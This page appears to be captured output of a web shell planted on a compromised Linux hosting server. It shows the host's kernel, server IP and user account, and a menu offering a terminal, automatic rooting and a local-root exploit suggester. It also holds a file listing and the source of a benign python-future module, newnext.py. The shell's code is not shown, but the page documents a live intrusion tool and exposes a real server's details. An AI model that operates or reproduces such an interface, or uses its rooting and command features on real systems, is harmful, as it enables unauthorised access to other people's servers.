Linux newlinux5.pouyasazan.org 3.10.0-962.3.2.lve1.5.60.el7.x86_64 #1 SMP Fri Jul 23 07:07:00 EDT 2021 x86_64
LiteSpeed
Server IP : 88.99.66.243 & Your IP : 216.73.216.178
Domains :
Cant Read [ /etc/named.conf ]
User : wdbbsgxf
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python2.7 /
site-packages /
future /
builtins /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
1.65
KB
-rw-r--r--
2019-10-31 04:04
__init__.pyc
1.49
KB
-rw-r--r--
2020-01-24 15:25
__init__.pyo
1.49
KB
-rw-r--r--
2020-01-24 15:25
disabled.py
2.06
KB
-rw-r--r--
2019-10-31 04:04
disabled.pyc
2.54
KB
-rw-r--r--
2020-01-24 15:25
disabled.pyo
2.54
KB
-rw-r--r--
2020-01-24 15:25
iterators.py
1.36
KB
-rw-r--r--
2019-10-31 04:04
iterators.pyc
1.58
KB
-rw-r--r--
2020-01-24 15:25
iterators.pyo
1.58
KB
-rw-r--r--
2020-01-24 15:25
misc.py
4.44
KB
-rw-r--r--
2019-10-31 04:04
misc.pyc
3.37
KB
-rw-r--r--
2020-01-24 15:25
misc.pyo
3.37
KB
-rw-r--r--
2020-01-24 15:25
new_min_max.py
1.72
KB
-rw-r--r--
2019-10-31 04:26
new_min_max.pyc
1.96
KB
-rw-r--r--
2020-01-24 15:25
new_min_max.pyo
1.96
KB
-rw-r--r--
2020-01-24 15:25
newnext.py
1.96
KB
-rw-r--r--
2019-10-31 04:04
newnext.pyc
2.07
KB
-rw-r--r--
2020-01-24 15:25
newnext.pyo
2.07
KB
-rw-r--r--
2020-01-24 15:25
newround.py
3.11
KB
-rw-r--r--
2019-10-31 04:26
newround.pyc
3.23
KB
-rw-r--r--
2020-01-24 15:25
newround.pyo
3.23
KB
-rw-r--r--
2020-01-24 15:25
newsuper.py
4.05
KB
-rw-r--r--
2019-10-31 04:04
newsuper.pyc
3.16
KB
-rw-r--r--
2020-01-24 15:25
newsuper.pyo
3.16
KB
-rw-r--r--
2020-01-24 15:25
Save
Rename
''' This module provides a newnext() function in Python 2 that mimics the behaviour of ``next()`` in Python 3, falling back to Python 2's behaviour for compatibility if this fails. ``newnext(iterator)`` calls the iterator's ``__next__()`` method if it exists. If this doesn't exist, it falls back to calling a ``next()`` method. For example: >>> class Odds(object): ... def __init__(self, start=1): ... self.value = start - 2 ... def __next__(self): # note the Py3 interface ... self.value += 2 ... return self.value ... def __iter__(self): ... return self ... >>> iterator = Odds() >>> next(iterator) 1 >>> next(iterator) 3 If you are defining your own custom iterator class as above, it is preferable to explicitly decorate the class with the @implements_iterator decorator from ``future.utils`` as follows: >>> @implements_iterator ... class Odds(object): ... # etc ... pass This next() function is primarily for consuming iterators defined in Python 3 code elsewhere that we would like to run on Python 2 or 3. ''' _builtin_next = next _SENTINEL = object() def newnext(iterator, default=_SENTINEL): """ next(iterator[, default]) Return the next item from the iterator. If default is given and the iterator is exhausted, it is returned instead of raising StopIteration. """ # args = [] # if default is not _SENTINEL: # args.append(default) try: try: return iterator.__next__() except AttributeError: try: return iterator.next() except AttributeError: raise TypeError("'{0}' object is not an iterator".format( iterator.__class__.__name__)) except StopIteration as e: if default is _SENTINEL: raise e else: return default __all__ = ['newnext']